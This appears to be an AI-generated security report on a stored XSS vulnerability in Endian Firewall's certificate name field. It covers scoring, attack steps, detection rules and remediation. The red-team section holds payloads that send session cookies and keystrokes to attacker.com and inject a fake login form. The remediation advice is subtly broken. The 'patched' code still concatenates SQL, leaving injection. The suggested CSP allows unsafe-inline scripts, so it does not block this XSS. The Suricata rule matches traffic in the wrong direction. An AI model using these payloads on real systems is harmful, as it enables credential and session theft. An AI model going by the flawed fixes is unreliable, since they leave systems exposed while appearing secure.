CVE-2026-34822

Executive Summary

CVE-2026-34822 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the new_cert_name parameter in the /manage/ca/certificate/ endpoint. The injected script is stored on the server and executed when other authenticated users view the affected certificate management page. This allows the attacker to perform actions such as session hijacking, credential theft, or defacement within the context of the victim's session.

The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, low privileges, and user interaction. The scope is changed, meaning the impact can extend beyond the vulnerable component. The confidentiality and integrity impacts are low, with no availability impact.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary appliance (Endian Firewall) and does not have a supply chain component in the traditional sense. However, the lack of a patch or advisory from the vendor represents a supply chain risk for organizations using this product.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker must have valid credentials to the firewall.
• User Interaction (UI): Required (R) - The victim must visit the affected page.
• Scope (S): Changed (C) - The impact can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited modification of data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS and the lack of a patch make it a persistent threat for organizations using the affected versions.

Deep Dive & Mechanics

The vulnerability resides in the certificate management interface of Endian Firewall. The /manage/ca/certificate/ endpoint accepts a new_cert_name parameter to create a new certificate. The application fails to properly sanitize or encode this input before storing it in the database and later rendering it on the certificate list page.

Attack Flow:

1. An authenticated attacker navigates to the certificate creation page.
2. The attacker submits a request with a malicious payload in the new_cert_name parameter, e.g., <script>alert('XSS')</script>.
3. The server stores the malicious input in the database without sanitization.
4. When another authenticated user (or the same user) visits the certificate list page, the stored payload is rendered in the HTML, causing the JavaScript to execute in the victim's browser.

Root Cause: Lack of output encoding and input validation on the new_cert_name parameter. The application likely uses a templating engine that does not auto-escape HTML, or the developer explicitly disabled escaping for this field.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual - PHP/Perl):

// Vulnerable: Directly stores user input without sanitization
$cert_name = $_POST['new_cert_name'];
$db->query("INSERT INTO certificates (name) VALUES ('$cert_name')");

// Later, when rendering:
echo "<td>" . $row['name'] . "</td>";

Patched Code (Conceptual):

// Patched: Sanitize input and encode output
$cert_name = htmlspecialchars($_POST['new_cert_name'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO certificates (name) VALUES ('$cert_name')");

// When rendering:
echo "<td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td>";

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution. Additionally, input validation should be applied to ensure the certificate name matches expected patterns (e.g., alphanumeric and hyphens only).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the Endian Firewall web interface.
• Network access to the management interface (typically port 443).

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to the certificate management page: https://<target>/manage/ca/certificate/.
3. Intercept the request to create a new certificate (e.g., using Burp Suite).
4. Modify the new_cert_name parameter to include a JavaScript payload. Example:

   new_cert_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the request.
6. The payload is now stored. When any authenticated user visits the certificate list page, the script executes, sending the victim's cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
• Phishing: <script>document.body.innerHTML='<form action="https://attacker.com/login" method="post"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>'</script>

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious new_cert_name parameters containing <script>, onerror, onload, or other HTML event handlers.
2. Review database entries in the certificates table for unusual names.
3. Use a web application firewall (WAF) to block requests with XSS payloads in the new_cert_name parameter.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Target: Endian Firewall 3.3.25 (or earlier) in a virtualized environment.
• Attacker: Kali Linux with Burp Suite.
• Victim: Any modern browser (Chrome, Firefox) accessing the firewall interface.

Steps to Reproduce:

1. Install Endian Firewall 3.3.25 in a VM.
2. Create a user account with administrative privileges.
3. Log in as the attacker and navigate to the certificate creation page.
4. Use Burp Suite to intercept the request and modify the new_cert_name parameter.
5. Submit the malicious request.
6. Log in as a different user (or the same user) and navigate to the certificate list page.
7. Observe the JavaScript execution (e.g., an alert box or a request to the attacker's server).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /manage/ca/certificate/ with new_cert_name containing <script> tags or other HTML/JavaScript.
• Outbound connections from the firewall to unknown external IPs on ports 80/443 (exfiltration).
• Unusual Referer headers pointing to the certificate management page.

Host IOCs:

• Database entries in the certificates table with names containing HTML/JavaScript.
• Web server logs showing requests with XSS payloads in the new_cert_name parameter.
• Browser console errors or unexpected JavaScript execution on the certificate management page.

File IOCs:

• No specific file-based IOCs, as the payload is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2026_34822_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2026-34822 in Endian Firewall"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34822"
        severity = "medium"
    strings:
        $xss1 = /new_cert_name=.*<script/i
        $xss2 = /new_cert_name=.*onerror/i
        $xss3 = /new_cert_name=.*onload/i
        $xss4 = /new_cert_name=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-34822 - Stored XSS in Endian Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the new_cert_name parameter targeting Endian Firewall
author: Valters IT
date: 2026-01-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34822
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/manage/ca/certificate/'
        cs-uri-query|contains|all:
            - 'new_cert_name='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in certificate names (unlikely)
level: medium
tags:
    - attack.t1190
    - cve.2026.34822

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34822 - Stored XSS in Endian Firewall Certificate Name";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/manage/ca/certificate/";
    http_uri;
    content:"new_cert_name=";
    http_client_body;
    pcre:"/<script|onerror|onload|javascript:/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-34822;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall: If possible, restrict access to the management interface to trusted IPs only using firewall rules.
2. Disable certificate creation: If not needed, disable the certificate management feature or restrict it to specific users.
3. Monitor logs: Actively monitor web server logs for XSS payloads in the new_cert_name parameter.

Long-term Fix:

• Vendor Patch: Await an official patch from Endian. Contact their support team to request a fix.
• Custom WAF Rule: Implement a WAF rule to block requests containing <script> or other HTML tags in the new_cert_name parameter.
• Code Fix: If you have access to the source code, apply input validation and output encoding as described in the "Vulnerable vs. Patched Code" section.

Workaround:

• Content Security Policy (CSP): Add a CSP header to the web application to restrict script execution. Example:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
  

  Note: This may break legitimate functionality.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 747B9765791969983D293213] */}